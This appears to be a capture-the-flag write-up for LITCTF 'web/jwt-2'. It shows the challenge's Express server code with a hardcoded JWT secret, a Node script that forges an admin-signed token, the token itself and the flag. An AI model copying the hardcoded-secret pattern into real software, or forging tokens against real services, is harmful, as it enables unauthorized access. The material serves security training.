Skip to content

web/jwt-2

About

"its like jwt-1 but this one is harder URL: http://litctf.org:31777/ ."

The webpage looks exactly the same as web/jwt-1. This time, however, index.ts has been given:

import express from "express";
import cookieParser from "cookie-parser";
import path from "path";
import fs from "fs";
import crypto from "crypto";

const accounts: [string, string][] = [];

const jwtSecret = "xook";
const jwtHeader = Buffer.from(
  JSON.stringify({ alg: "HS256", typ: "JWT" }),
  "utf-8"
)
  .toString("base64")
  .replace(/=/g, "");

const sign = (payload: object) => {
  const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8")
    .toString("base64")
    .replace(/=/g, "");
    const signature = crypto.createHmac('sha256', jwtSecret).update(jwtHeader + '.' + jwtPayload).digest('base64').replace(/=/g, '');
  return jwtHeader + "." + jwtPayload + "." + signature;

}

const app = express();

const port = process.env.PORT || 3000;

app.listen(port, () =>
  console.log("server up on http://localhost:" + port.toString())
);

app.use(cookieParser());
app.use(express.urlencoded({ extended: true }));

app.use(express.static(path.join(__dirname, "site")));

app.get("/flag", (req, res) => {
  if (!req.cookies.token) {
    console.log('no auth')
    return res.status(403).send("Unauthorized");
  }

  try {
    const token = req.cookies.token;
    // split up token
    const [header, payload, signature] = token.split(".");
    if (!header || !payload || !signature) {
      return res.status(403).send("Unauthorized");
    }
    Buffer.from(header, "base64").toString();
    // decode payload
    const decodedPayload = Buffer.from(payload, "base64").toString();
    // parse payload
    const parsedPayload = JSON.parse(decodedPayload);
        // verify signature
        const expectedSignature = crypto.createHmac('sha256', jwtSecret).update(header + '.' + payload).digest('base64').replace(/=/g, '');
        if (signature !== expectedSignature) {
            return res.status(403).send('Unauthorized ;)');
        }
    // check if user is admin
    if (parsedPayload.admin || !("name" in parsedPayload)) {
      return res.send(
        fs.readFileSync(path.join(__dirname, "flag.txt"), "utf-8")
      );
    } else {
      return res.status(403).send("Unauthorized");
    }
  } catch {
    return res.status(403).send("Unauthorized");
  }
});

.
.
.

Recon

Looking at the code, I was able to figure out not only admin value needs to be True, but also signature part of the cookie needs to be constructed with jwtSecret = "xook" keyword.

Exploitation

I wrote JavaScript code to craft the cookie.

// cookie.js
const crypto = require('crypto');

const jwtHeader = Buffer.from(
  JSON.stringify({ alg: "HS256", typ: "JWT" }),
  "utf-8"
)
  .toString("base64")
  .replace(/=/g, "");

const jwtPayload = Buffer.from(JSON.stringify({ name: "admin", admin: true }), "utf-8")
  .toString("base64")
  .replace(/=/g, "");

const jwtSecret = "xook";
const signature = crypto.createHmac('sha256', jwtSecret)
  .update(jwtHeader + '.' + jwtPayload)
  .digest('base64')
  .replace(/=/g, '');

const token = `${jwtHeader}.${jwtPayload}.${signature}`;

console.log(token);

$ node cookie.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJhZG1pbiI6dHJ1ZX0.MTnIgTB1oTbZ2pNsqQreiHQo9309/IoytyoVE4DshM8

Flag: LITCTF{v3rifyed_thI3_Tlme_1re4DV9}